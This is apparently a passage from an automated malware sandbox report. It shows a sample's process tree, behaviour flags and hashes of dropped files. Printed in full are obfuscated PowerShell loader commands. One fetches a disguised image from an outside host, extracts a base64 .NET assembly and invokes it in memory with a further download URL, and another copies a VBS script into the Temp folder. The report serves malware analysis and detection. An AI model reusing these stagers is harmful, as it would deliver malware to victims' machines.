▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBs◀▶Gc◀▶cQBu◀▶HU◀▶Lw◀▶2◀▶DI◀▶Mg◀▶u◀▶Dk◀▶Mg◀▶y◀▶C4◀▶MQ◀▶2◀▶DE◀▶Lg◀▶x◀▶Dg◀▶Lw◀▶v◀▶Do◀▶c◀▶B0◀▶HQ◀▶a◀▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶DI◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶FY◀▶YgBz◀▶E4◀▶YQBt◀▶GU◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶DE◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶EM◀▶OgBc◀▶Fc◀▶aQBu◀▶GQ◀▶bwB3◀▶HM◀▶X◀▶BU◀▶GU◀▶bQBw◀▶Fw◀▶Jw◀▶s◀▶C◀▶◀▶JwBM◀▶G4◀▶awBO◀▶GE◀▶bQBl◀▶Cc◀▶KQ◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.lgqnu/622.922.161.18//:ptth' , '' , '2' , 'VbsName' , '1' , 'C:\Windows\Temp\', 'LnkName'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\VbsName.vbs -Force }3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2512
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5ac18e79035e47eb5b82c6059bb1af03b
SHA1d7d2867f38beb0a2f89a26fb0608536f0d8d472b
SHA25608d8f0809c9cdaf973d3cbd121e49c76901cdd6b7cd1e94d8124e951629b4d9f
SHA512dce84bd03ac2ae70ff04983d7ce485c4d85a1f73f3f70058bff13454d38b9f823930a68df442d2de38a956aa5a3978f3621d18d7d2890910fc18006915deb647
-
Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
-
Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\O1VSIRRH934AMJHOEYEE.temp
Filesize7KB
MD581a6c2f8a33e93b936eff2c2c503e862
SHA1ebde7a3ed3ec568a3b2586b457a9f012bd848ae3
SHA25656d9a70f0836b3738104d90d345ef7b81d0cfe24d91bc1bef47b214311e3d7d8
SHA512fed3b7334b654a816a120d79b0962f510d5641a2c1f8c6d67b5895a37b875b4debd2a3e724d0b892e84dcf884780e6c9e3f9ec9a47016a8f0e01166477f4ea7a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD581a6c2f8a33e93b936eff2c2c503e862
SHA1ebde7a3ed3ec568a3b2586b457a9f012bd848ae3
SHA25656d9a70f0836b3738104d90d345ef7b81d0cfe24d91bc1bef47b214311e3d7d8
SHA512fed3b7334b654a816a120d79b0962f510d5641a2c1f8c6d67b5895a37b875b4debd2a3e724d0b892e84dcf884780e6c9e3f9ec9a47016a8f0e01166477f4ea7a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD581a6c2f8a33e93b936eff2c2c503e862
SHA1ebde7a3ed3ec568a3b2586b457a9f012bd848ae3
SHA25656d9a70f0836b3738104d90d345ef7b81d0cfe24d91bc1bef47b214311e3d7d8
SHA512fed3b7334b654a816a120d79b0962f510d5641a2c1f8c6d67b5895a37b875b4debd2a3e724d0b892e84dcf884780e6c9e3f9ec9a47016a8f0e01166477f4ea7a
-
Filesize
390KB
MD5734888d8693b4a1f1b66f0267b183091
SHA190357f5f07b4fe80e2c9218a8bfb9beb8cd84673
SHA256ed51cb24b954ea29ddfe9fd34c73a30607198a811e70282de6b644f90b6a920a
SHA512feaebffcef5129b9b25842792476740ff0a47641202e87deca88ae635902ac294360ed7d89d35468835d4812be2453295256e07704b81555a415757607a7379a
-
Filesize
390KB
MD5734888d8693b4a1f1b66f0267b183091
SHA190357f5f07b4fe80e2c9218a8bfb9beb8cd84673
SHA256ed51cb24b954ea29ddfe9fd34c73a30607198a811e70282de6b644f90b6a920a
SHA512feaebffcef5129b9b25842792476740ff0a47641202e87deca88ae635902ac294360ed7d89d35468835d4812be2453295256e07704b81555a415757607a7379a